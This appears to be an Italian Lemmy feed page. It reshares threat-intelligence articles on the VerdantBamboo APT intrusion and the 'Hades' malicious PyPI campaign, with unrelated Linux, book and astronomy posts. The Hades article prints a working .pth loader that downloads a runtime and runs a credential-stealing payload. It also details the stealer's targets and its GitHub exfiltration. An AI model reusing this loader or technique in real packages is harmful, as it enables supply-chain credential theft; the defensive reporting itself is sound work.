AGENTPSD è una semplice reverse shell Python compilata con PyInstaller, configurata per connettersi a un dominio C2 diverso da quello usato da BRICKSTORM. Il suo ruolo è esclusivamente di fallback: se BRICKSTORM venisse rimosso o smettesse di funzionare, AGENTPSD garantirebbe un percorso di rientro alternativo. Significativamente, durante l’intero periodo dell’intrusione AGENTPSD non è mai stato utilizzato attivamente — BRICKSTORM era sempre disponibile.

L’infrastruttura C2 e la risposta alle investigazioni


Volexity ha sviluppato una fingerprint Censys per identificare i server C2 di BRICKSTORM: una risposta HTTP di lunghezza zero (Golang HTTP server), SSH su FreeBSD, certificato Cloudflare, massimo quattro servizi esposti. Questa firma ha consentito di mappare diversi server C2. Tuttavia, tra il 18 e il 23 settembre 2025, tutti i server che corrispondevano al pattern hanno disattivato i servizi sulla porta 443. Il 24 settembre Google ha pubblicato un nuovo report su BRICKSTORM. Volexity valuta con bassa confidenza che VerdantBamboo fosse consapevole di essere sotto investigazione e abbia volontariamente smantellato l’infrastruttura esposta.

Due righe per i difensori


Il caso VerdantBamboo mette in luce vulnerabilità sistemiche difficili da correggere con gli strumenti tradizionali. Le raccomandazioni chiave emerse dall’analisi di Volexity sono le seguenti: applicare MFA su tutti gli accessi amministrativi, inclusi VPN e interfacce di gestione dei firewall; monitorare il traffico verso DNS over HTTPS su endpoint non previsti; estendere il perimetro di monitoraggio alle appliance di rete (NAS, firewall, appliance cloud sync) che non supportano EDR, eventualmente tramite network security monitoring; verificare le configurazioni sudo su tutte le appliance Linux gestite; assicurarsi che i fornitori MSP applichino gli stessi standard di sicurezza dell’organizzazione committente.

Indicatori di Compromissione (IoC)

## AGENTPSD
# Nome file: egnyte_host_monitor_client
MD5:    98ee964edeb5a988c3bba8ea1e57fe0e
SHA1:   e952c18272efa1c3d73d0a5381bcf443c02743fe
SHA256: ee41e06ed96182ce80cd4544a6abd5d7719c4a5c0e5ddb266a83842d39b99b0a
## BRICKSTORM (Egnyte Storage Sync – Linux)
# Nome file: luserput
MD5:    58d4eccc982c9e9b1b98aa62c514e53a
SHA1:   f4d77958a12a0778283d3e679b24b18f82e332c4
SHA256: 40d264cf9c73923932c3dfd52d20f46ff602be3fea8dc6ecc71aca46e6067bf5
## BRICKSTORM (pfSense – FreeBSD, gobfuscated)
# Nome file: blacklist
MD5:    84ad78b2bab946c3677fdc28ebd8a774
SHA1:   681075027553546c119ec447eb8df84633dcffce
SHA256: f70abe93112637d3ec2f6c5e058ccac0307ebf63e496f38588cbfc17a8f8a264
## PLENET (aka GRIMBOLT, .NET Native AOT)
# Nome file: ovs-dbctl
MD5:    95dc2289427ed29b8b996d0e3d1b78cb
SHA1:   f8d93c1769e877aae7e7d5c289a467b5ae371c7a
SHA256: eb141a43958802727a6c813452450c10b92704bea4474ee5fd87c0a1be326e2e
## Censys fingerprint per C2 BRICKSTORM
host.service_count<=4 AND host.services:(banner_hash_sha256:"e28a96f983b8605decd2ac1db16ebad5fa741a6aa4e585a38ade0e5ad7d6cec0" AND port=443) AND host.services.cert.parsed.issuer.organization="CloudFlare, Inc." AND host.services:(port=22 AND software.vendor:openbsd)
## IoC completi (Volexity GitHub)
https://github.com/volexity/threat-intel/tree/main/2026/2026-06-04%20VerdantBamboo

Feddit Un'istanza italiana Lemmy ha ricondiviso questo.

Qual è il motivo che dovrebbe spingere qualcuno ad usare #Linux ?

Voi avreste facilmente una risposta?

In un mondo dove si è sempre catalogati e dove anche i sistemi operativi hanno ormai ritagliato il proprio spazio in una nicchia, ho cercato di trovare la mia personalissima risposta al quesito, cercando di essere il più chiaro ed esaustivo possibile.

youtu.be/xmuI0WYB8lg?is=1oc7xC…

#OpenSource #FreeSoftware #OS #Windows #MacOS

@gnulinuxitalia

in reply to Lorenzo DM

Felice del cambio di rotta nell'ultimo video di @lorenzodm : è passata una linea matura, strutturata e meno tifosa, riconoscendo a Linux dignità e filosofia indipendenti (es. SteamOS).
​Curioso ora di sapere cosa ne pensi di elementary OS: partendo da una base diffusa hanno creato un'interfaccia coerente e nativa, affrontando il mercato consumer con trasparenza, senza scorciatoie grafiche che creano dissonanza nei menu. Non è questo l'archetipo di derivata desktop?
​#Linux #elementaryOS
in reply to peppesantarsiero1

@peppesantarsiero1 ciao! Sono felice che qualsiasi incomprensione precedente sia sta riconsiderata al netto del nuovo video (che essendo generico fa comprendere molto meglio il mio personale punto di vista sulla situazione a 360°).

Su Elementary ti ho risposto sotto al video 😉 (questa volta il commento è arrivato). Comunque in soldoni è una bella Distribuzione e credo anche a volte sottovalutata.

A livello invece di definizione invece, io sono molto più aperto. Per me una Distro è valida se il progetto presenta una direzione chiara e precisa in termini di filosofia, ciclo di sviluppo e rilascio e soprattutto modalità di uso e target.

Tutte le Distro sono bene accette, l'importante è riconoscere perché un progetto esiste. Quando nasce una Distro senza scopo, solo per sport, si rischia di incidere sulla sua pelle una data di scadenza netta, ed è una cosa spiacevole.

Spero di aver fatto comprendere il mio pensiero, nel caso resto a disposizione. Un saluto!

Feddit Un'istanza italiana Lemmy ha ricondiviso questo.

Dynamic Music Pill per GNOME si aggiorna con nuove opzioni e maggiore controllo

@GNU/Linux Italia

linuxeasy.org/dynamic-music-pi…

Dynamic Music Pill GNOME migliora con nuove opzioni, controllo animazioni, gestione artisti e caricamento più rapido dei testi.
L'articolo Dynamic Music Pill per GNOME si aggiorna con nuove opzioni e maggiore controllo proviene da Linux Easy.

Feddit Un'istanza italiana Lemmy ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please log in.

VerdantBamboo (UNC5221): il gruppo APT cinese che resta invisibile per 18 mesi con tre backdoor inedite


@Informatica (Italy e non Italy)
Volexity ricostruisce un'intrusione durata 18 mesi da parte del gruppo APT cinese VerdantBamboo/UNC5221. Tre backdoor inedite — BRICKSTORM, PLENET e AGENTPSD — deployate su appliance senza EDR per bypassare le


VerdantBamboo (UNC5221): il gruppo APT cinese che resta invisibile per 18 mesi con tre backdoor inedite


Per diciotto mesi, il gruppo APT cinese VerdantBamboo ha vissuto nell’ombra delle reti di una grande organizzazione statunitense e del suo managed service provider, dispiegando tre famiglie di backdoor su appliance di rete prive di copertura EDR. La ricostruzione completa dell’incidente, pubblicata il 4 giugno 2026 dai ricercatori di Volexity, rivela un threat actor di straordinaria sofisticazione operativa, capace di reinfettare la rete vittima pochi giorni dopo la remediation.

Chi è VerdantBamboo (UNC5221 / WARP PANDA)


VerdantBamboo è il nome interno adottato da Volexity per il gruppo noto anche come UNC5221 (Mandiant) e WARP PANDA. Si tratta di un attore state-sponsored di origine cinese attivo almeno dal 2023, specializzato nello sfruttamento di zero-day su dispositivi di rete perimetrali: Ivanti Connect Secure, F5 BIG-IP, VMware vSphere e, in questo caso, appliance Linux proprietarie. Google Cloud Threat Intelligence e CISA hanno documentato più volte le sue campagne, con un filo conduttore costante: il deployment di BRICKSTORM su sistemi che non supportano agenti EDR, rendendo il rilevamento quasi impossibile con gli strumenti tradizionali.

Il vettore iniziale: Egnyte Storage Sync e una privilege escalation trascurata


In settembre 2025, Volexity viene coinvolta in un incident response dopo che un analista nota traffico anomalo proveniente da una macchina virtuale Linux con Egnyte Storage Sync. L’appliance, invece di connettersi ai server Egnyte, beacona verso un dominio controllato dall’attaccante nascosto dietro IP Cloudflare, e interroga 8.8.8.8 tramite DNS over HTTPS per evitare lookup DNS tracciabili.

L’ingresso iniziale è avvenuto attraverso credenziali SSH compromesse per l’account egnyteservice, il cui profilo sudo conteneva una misconfiguration critica: il comando tee era eseguibile come root, consentendo la scrittura arbitraria di file su tutto il filesystem. VerdantBamboo ha sfruttato questa escalation per scrivere un entry cron in /etc/cron.d/ssync, eseguire il backdoor BRICKSTORM posizionato in /usr/sbin/, e poi rimuovere il file cron per minimizzare le tracce. Il compromesso risaliva ad almeno 18 mesi prima della scoperta. Egnyte ha poi corretto la vulnerability nella versione Storage Sync v13.13.

La catena d’attacco: dall’MSP alla Microsoft 365


Una volta sul sistema Storage Sync, VerdantBamboo ha sfruttato le capacità proxy di BRICKSTORM per accedere all’ambiente Microsoft 365 della vittima attraverso gli IP del VPN SSL aziendale, bypassando così le Conditional Access Policy che avrebbero bloccato accessi da IP sconosciuti. L’obiettivo era mimetizzarsi nel traffico legittimo.

Parallelamente, l’MSP che gestiva il sistema era stato anch’esso compromesso. Volexity ha trovato sul firewall pfSense dell’MSP una variante FreeBSD di BRICKSTORM, offuscata con gobfuscate, con backdating della compromissione di almeno 18 mesi. Con ogni probabilità, l’attaccante si era introdotto nell’organizzazione vittima passando prima per l’MSP, rubando credenziali e dettagli infrastrutturali.

Il ritorno dopo la remediation: persistenza da manuale


Pochi giorni dopo che Volexity aveva completato le attività di contenimento — isolando il sistema Storage Sync e portando offline il VPN SSL — VerdantBamboo è tornato. Il firewall della vittima, ora esposto direttamente su Internet dopo la dismissione del vecchio VPN, era accessibile via interfaccia amministrativa web. Usando credenziali amministrative rubate (senza MFA), l’attaccante ha riconfigurato un VPN SSL sul firewall, si è riconnesso alla rete interna e ha deployato PLENET su un NAS Synology. Un secondo ciclo di remediation si è reso necessario.

Le tre backdoor: BRICKSTORM, PLENET e AGENTPSD


BRICKSTORM è il malware principale del gruppo, con varianti scritte in Golang (le più vecchie) e Rust. Il design è modulare: il namespace wssoft contiene protocol handler, task dispatcher e task extensions che il developer può personalizzare per ogni target. Nelle varianti analizzate, i task extension attivi sono tre: command (shell remota), socks (proxy SOCKS5) e web (accesso al filesystem). Il C2 usa WebSocket su HTTPS, con risoluzione DNS over HTTPS verso 8.8.8.8 per evitare query tracciabili.

PLENET (chiamato GRIMBOLT da Google Cloud) è un backdoor cross-platform scritto in .NET Core e compilato con Native AOT — una funzionalità introdotta in .NET 7 nel novembre 2022 che produce un binario nativo standalone con il runtime embedded. La scelta di Native AOT è deliberata: l’immaturity degli strumenti di analisi per questo formato complica notevolmente il reverse engineering. PLENET usa anch’esso WebSocket per il C2 e la libreria Nerdbank.Streams per multiplexing, richiamando lo stesso schema architetturale di BRICKSTORM. Capacità: shell interattiva, esecuzione remota di comandi, manipolazione file, switching del server C2.

AGENTPSD è una semplice reverse shell Python compilata con PyInstaller, configurata per connettersi a un dominio C2 diverso da quello usato da BRICKSTORM. Il suo ruolo è esclusivamente di fallback: se BRICKSTORM venisse rimosso o smettesse di funzionare, AGENTPSD garantirebbe un percorso di rientro alternativo. Significativamente, durante l’intero periodo dell’intrusione AGENTPSD non è mai stato utilizzato attivamente — BRICKSTORM era sempre disponibile.

L’infrastruttura C2 e la risposta alle investigazioni


Volexity ha sviluppato una fingerprint Censys per identificare i server C2 di BRICKSTORM: una risposta HTTP di lunghezza zero (Golang HTTP server), SSH su FreeBSD, certificato Cloudflare, massimo quattro servizi esposti. Questa firma ha consentito di mappare diversi server C2. Tuttavia, tra il 18 e il 23 settembre 2025, tutti i server che corrispondevano al pattern hanno disattivato i servizi sulla porta 443. Il 24 settembre Google ha pubblicato un nuovo report su BRICKSTORM. Volexity valuta con bassa confidenza che VerdantBamboo fosse consapevole di essere sotto investigazione e abbia volontariamente smantellato l’infrastruttura esposta.

Due righe per i difensori


Il caso VerdantBamboo mette in luce vulnerabilità sistemiche difficili da correggere con gli strumenti tradizionali. Le raccomandazioni chiave emerse dall’analisi di Volexity sono le seguenti: applicare MFA su tutti gli accessi amministrativi, inclusi VPN e interfacce di gestione dei firewall; monitorare il traffico verso DNS over HTTPS su endpoint non previsti; estendere il perimetro di monitoraggio alle appliance di rete (NAS, firewall, appliance cloud sync) che non supportano EDR, eventualmente tramite network security monitoring; verificare le configurazioni sudo su tutte le appliance Linux gestite; assicurarsi che i fornitori MSP applichino gli stessi standard di sicurezza dell’organizzazione committente.

Indicatori di Compromissione (IoC)

## AGENTPSD
# Nome file: egnyte_host_monitor_client
MD5:    98ee964edeb5a988c3bba8ea1e57fe0e
SHA1:   e952c18272efa1c3d73d0a5381bcf443c02743fe
SHA256: ee41e06ed96182ce80cd4544a6abd5d7719c4a5c0e5ddb266a83842d39b99b0a
## BRICKSTORM (Egnyte Storage Sync – Linux)
# Nome file: luserput
MD5:    58d4eccc982c9e9b1b98aa62c514e53a
SHA1:   f4d77958a12a0778283d3e679b24b18f82e332c4
SHA256: 40d264cf9c73923932c3dfd52d20f46ff602be3fea8dc6ecc71aca46e6067bf5
## BRICKSTORM (pfSense – FreeBSD, gobfuscated)
# Nome file: blacklist
MD5:    84ad78b2bab946c3677fdc28ebd8a774
SHA1:   681075027553546c119ec447eb8df84633dcffce
SHA256: f70abe93112637d3ec2f6c5e058ccac0307ebf63e496f38588cbfc17a8f8a264
## PLENET (aka GRIMBOLT, .NET Native AOT)
# Nome file: ovs-dbctl
MD5:    95dc2289427ed29b8b996d0e3d1b78cb
SHA1:   f8d93c1769e877aae7e7d5c289a467b5ae371c7a
SHA256: eb141a43958802727a6c813452450c10b92704bea4474ee5fd87c0a1be326e2e
## Censys fingerprint per C2 BRICKSTORM
host.service_count<=4 AND host.services:(banner_hash_sha256:"e28a96f983b8605decd2ac1db16ebad5fa741a6aa4e585a38ade0e5ad7d6cec0" AND port=443) AND host.services.cert.parsed.issuer.organization="CloudFlare, Inc." AND host.services:(port=22 AND software.vendor:openbsd)
## IoC completi (Volexity GitHub)
https://github.com/volexity/threat-intel/tree/main/2026/2026-06-04%20VerdantBamboo

Feddit Un'istanza italiana Lemmy ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please log in.

Campagna Hades colpisce PyPI: 37 pacchetti malevoli della famiglia Shai-Hulud/Miasma rubano credenziali sviluppatori


@Informatica (Italy e non Italy)
Socket Research Team ha scoperto 37 wheel artifact malevoli su 19 pacchetti PyPI, parte della campagna Hades — ramo evolutivo di Shai-Hulud/Miasma. Il vettore è un file *-setup.pth


Campagna Hades colpisce PyPI: 37 pacchetti malevoli della famiglia Shai-Hulud/Miasma rubano credenziali sviluppatori


Il team di ricerca di Socket ha identificato 37 wheel artifact malevoli distribuiti su 19 pacchetti PyPI, parte di una campagna di supply chain attack denominata “Hades” — un ramo evolutivo della nota famiglia Shai-Hulud/Miasma. Il vettore è sofisticato: un file *-setup.pth iniettato nei pacchetti scarica silenziosamente il runtime JavaScript Bun ed esegue uno stealer multi-target che colpisce sviluppatori, pipeline CI/CD e credenziali cloud.

La famiglia Shai-Hulud/Miasma: un attore in continua evoluzione


Shai-Hulud e Miasma non sono nomi nuovi nell’ecosistema del threat intelligence. La famiglia è attiva da mesi e ha già colpito pacchetti npm gestiti da Red Hat Cloud Services (giugno 2026), pacchetti Packagist tramite la campagna Famous Chollima (Corea del Nord), e ora approda su PyPI con una variante battezzata “Hades”. Il modus operandi rimane invariato nel core: abuso dei canali di distribuzione di fiducia, esecuzione prima che il codice legittimo venga invocato, payload JavaScript offuscato eseguito tramite il runtime Bun, esfiltrazione verso GitHub.

La scoperta è stata segnalata inizialmente dall’incident responder boredchilada su Bluesky, che ha taggato Socket poco dopo la pubblicazione dei pacchetti compromessi. La deobfuscation di _index.js ha confermato l’attribuzione alla stessa famiglia, rivelando però un cambio tematico: invece dei riferimenti a Zelda usati in campagne Miasma precedenti, questa ondata usa elementi mitologici greci — con marker GitHub come Hades - The End for the Damned e nomi di repository generati da componenti come stygian, tartarean, cerberus, charon, styx.

Il meccanismo di infezione: il file .pth come primitiva di esecuzione automatica


L’elemento tecnico più critico di questa campagna è lo sfruttamento dei file .pth di Python — un vettore raramente usato in attacchi su larga scala. Il modulo site di CPython processa automaticamente questi file all’avvio dell’interprete: le righe che iniziano con import vengono eseguite, indipendentemente dal fatto che il pacchetto compromesso venga mai importato dall’applicazione target.

Questo significa che l’installazione di un pacchetto infetto trasforma qualsiasi successiva invocazione di Python — un test, una pipeline CI, un notebook Jupyter, o semplicemente un pip install — in un trigger di esecuzione del codice malevolo. Il loader estratto dai wheel esegue questa sequenza:

  • Verifica la presenza del sentinel /tmp/.bun_ran per evitare esecuzioni ripetute
  • Localizza il payload _index.js nella directory del pacchetto
  • Scarica il runtime Bun v1.3.13 da GitHub se non già presente in /tmp/b/bun
  • Esegue bun run _index.js e scrive il sentinel


# Loader estratto dal *-setup.pth (forma normalizzata)
import glob, os, platform, subprocess, sys, tempfile, urllib.request, zipfile
sentinel = os.path.join(tempfile.gettempdir(), ".bun_ran")
if not os.path.exists(sentinel):
    base = os.path.dirname(__file__)
    payload = os.path.join(base, "_index.js")
    if not os.path.exists(payload):
        candidates = glob.glob(os.path.join(base, "*", "_index.js"))
        payload = candidates[0] if candidates else ""
    bun = os.path.join(tempfile.gettempdir(), "b", "bun")
    if not os.path.exists(bun):
        arch = "aarch64" if platform.machine() == "arm64" else "x64"
        os_name = {"linux":"linux","darwin":"darwin","win32":"windows"}.get(sys.platform,"linux")
        zip_path = os.path.join(tempfile.gettempdir(), "b.zip")
        urllib.request.urlretrieve(
            f"https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{os_name}-{arch}.zip",
            zip_path)
        zipfile.ZipFile(zip_path).extract(os.path.basename(bun), os.path.dirname(bun))
        os.chmod(bun, 0o775)
    subprocess.run([bun, "run", payload], check=False)
    open(sentinel, "w").close()

Payload deobfuscation: quattro strati di protezione


Il file _index.js è protetto da quattro strati di offuscamento progressivo: un wrapper try { eval(...) } che decodifica un array di char-code con sostituzione ROT-style; uno stage AES-GCM che decripta due blob embedded e scrive il payload principale in /tmp/p*.js; un bootstrapper Bun che gestisce il download del runtime; infine il payload principale, con rotated string table, decoder PBKDF2/SHA256 e un ulteriore strato AES-256-GCM con gzip.

Una volta deoffuscato, il payload è un credential stealer ad ampio spettro ottimizzato per ambienti di sviluppo: token GitHub (inclusi ghs_* e GitHub Actions runner secrets), npm, PyPI, RubyGems, JFrog, CircleCI, Anthropic. Sul fronte cloud: AWS credentials, STS, SSM Parameter Store, Secrets Manager; GCP Secret Manager; Azure Key Vault; Kubernetes service-account tokens; HashiCorp Vault. Vengono inoltre esfiltrate chiavi SSH, Docker configs, shell histories, file .env, .npmrc, .pypirc, configurazioni Claude/MCP e dati wallet.

Esfiltrazione via GitHub: camouflage su Anthropic API


Il payload include due percorsi di esfiltrazione. Il primo — apparentemente verso api.anthropic.com/v1/api — è di fatto un meccanismo di camouflage di rete: la route non esiste sui server Anthropic (restituisce 404), ma il traffico verso questo host ubiquo confonde i SIEM e rende difficile il blocco automatico. Il canale reale è GitHub: il payload crea repository pubblici con POST /user/repos, vi esegue commit di dati esfiltrati sotto path results/results-<timestamp>-<counter>.json, e può abusare di GitHub Actions per caricare artifact denominati format-results.

Il payload include anche meccanismi di persistenza post-compromissione: installa gh-token-monitor.sh come servizio systemd su Linux o LaunchAgent su macOS, e deposita file .claude/setup.mjs e .github/setup.js — estendendo il vettore di attacco agli ambienti di AI-assisted coding e workflow CI.

I pacchetti compromessi


I 37 artifact colpiscono 19 pacchetti riconducibili a un singolo account maintainer compromesso. I pacchetti ad alto impatto includono dynamo-release (framework per RNA-velocity single-cell), spateo-release (analisi trascrittomica spaziale), coolbox (toolkit Jupyter per genomica Hi-C/ChIP-Seq), e i tool ufish/napari-ufish per deep-learning. I download cumulativi di questi pacchetti si misurano in centinaia di migliaia. Il totale degli artifact compromessi monitorati da Socket attraverso npm e PyPI raggiunge 448.

Indicatori di Compromissione (IoC)

## Pacchetti PyPI compromessi (selezione)
bramin@0.0.2, @0.0.3, @0.0.4
cmd2func@0.2.2, @0.2.3
coolbox@0.4.1, @0.4.2
dynamo-release@1.5.4
executor-engine@0.3.4, @0.3.5
executor-http@0.1.3, @0.1.4
napari-ufish@0.0.2, @0.0.3
spateo-release@1.1.2
ufish@0.1.2, @0.1.3
uprobe@0.1.3, @0.1.4
## File malevoli
*-setup.pth
_index.js
## Hash SHA256
c539766062555d47716f8432e73adbe3a0c0c954a0b6c4005017a668975e275c
dc48b09b2a5954f7ff79ab8a2fd80202bd3b59c08c7cdbc6025aa923cb4c0efe
## Path filesystem
/tmp/.bun_ran
/tmp/b.zip  |  /tmp/b/bun
~/.config/gh-token-monitor/
~/.local/bin/gh-token-monitor.sh
~/.config/systemd/user/gh-token-monitor.service
~/Library/LaunchAgents/com.github.token-monitor.plist
## Network
hxxps://github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/
hxxps://api[.]anthropic[.]com/v1/api  (camouflage - non funzionale)
## Marker GitHub esfiltrazione
Repository description: "Hades - The End for the Damned"
Commit marker: "IfYouYankThisTokenItWillNukeTheComputerOfTheOwnerFully"
Workflow name: "Run Copilot"
Artifact name: "format-results"
Path pattern: results/results-*.json

Due righe per i difensori


Chi ha installato versioni compromesse deve rimuovere i pacchetti, ricostruire gli environment e ruotare immediatamente tutte le credenziali accessibili: token GitHub/GitHub Actions, chiavi PyPI/npm/RubyGems, credenziali AWS/GCP/Azure/Kubernetes, token CircleCI e HashiCorp Vault, chiavi SSH e Docker credentials. A livello di detection statica, qualsiasi wheel PyPI contenente un file .pth eseguibile con download di runtime remoti e subprocess execution va trattato come alto rischio. A runtime, monitorare la catena python -> bun -> _index.js e connessioni verso github.com/oven-sh/bun/releases/download/. Sul fronte GitHub, ricercare negli organization log i marker Hades sopra elencati.

Fonte principale: Socket Research Team — socket.dev/blog/shai-hulud-descends-to-hades-miasma-pypi-wave


Feddit Un'istanza italiana Lemmy ha ricondiviso questo.

Perché esiste la vita? La risposta nel nuovo libro del Nobel László Krasznahorkai, tra farfalle e divagazioni
@libri
illibraio.it/news/narrativa/li…
Dopo la vittoria del Premio Nobel per la Letteratura, László Krasznahorkai torna con un romanzo sulla vita, la natura e l'amicizia. "La sicurezza della nazione ungherese" è un romanzo fluviale, rizomatico, in cui realtà e finzione si confondono, e i due protagonisti - un entomologo e uno
Feddit Un'istanza italiana Lemmy ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Il terreno frastagliato di Utopia Planitia

#marte @astronomia@feddit.it @astronomia@diggita.com

questa immagine si trova in una regione caratterizzata da numerose depressioni frastagliate. La loro formazione è legata allo sviluppo di depressioni di forma ovale o frastagliata che possono fondersi tra loro, dando origine a vaste aree di terreno butterato. Le cavità frastagliate presentano una scarpata ripida rivolta verso il polo e un pendio più dolce rivolto verso l'equatore.

umbertogaetani.substack.com/p/…

reshared this

Feddit Un'istanza italiana Lemmy ha ricondiviso questo.

Microsoft WSL 2 velocizza la gestione file tra Windows e Linux

@GNU/Linux Italia

linuxeasy.org/microsoft-wsl-2-…

Microsoft migliora WSL 2 con ottimizzazioni a virtiofs e SWIOTLB, riducendo la latenza nell’accesso ai file condivisi tra Windows e Linux.
L'articolo Microsoft WSL 2 velocizza la gestione file tra Windows e Linux proviene da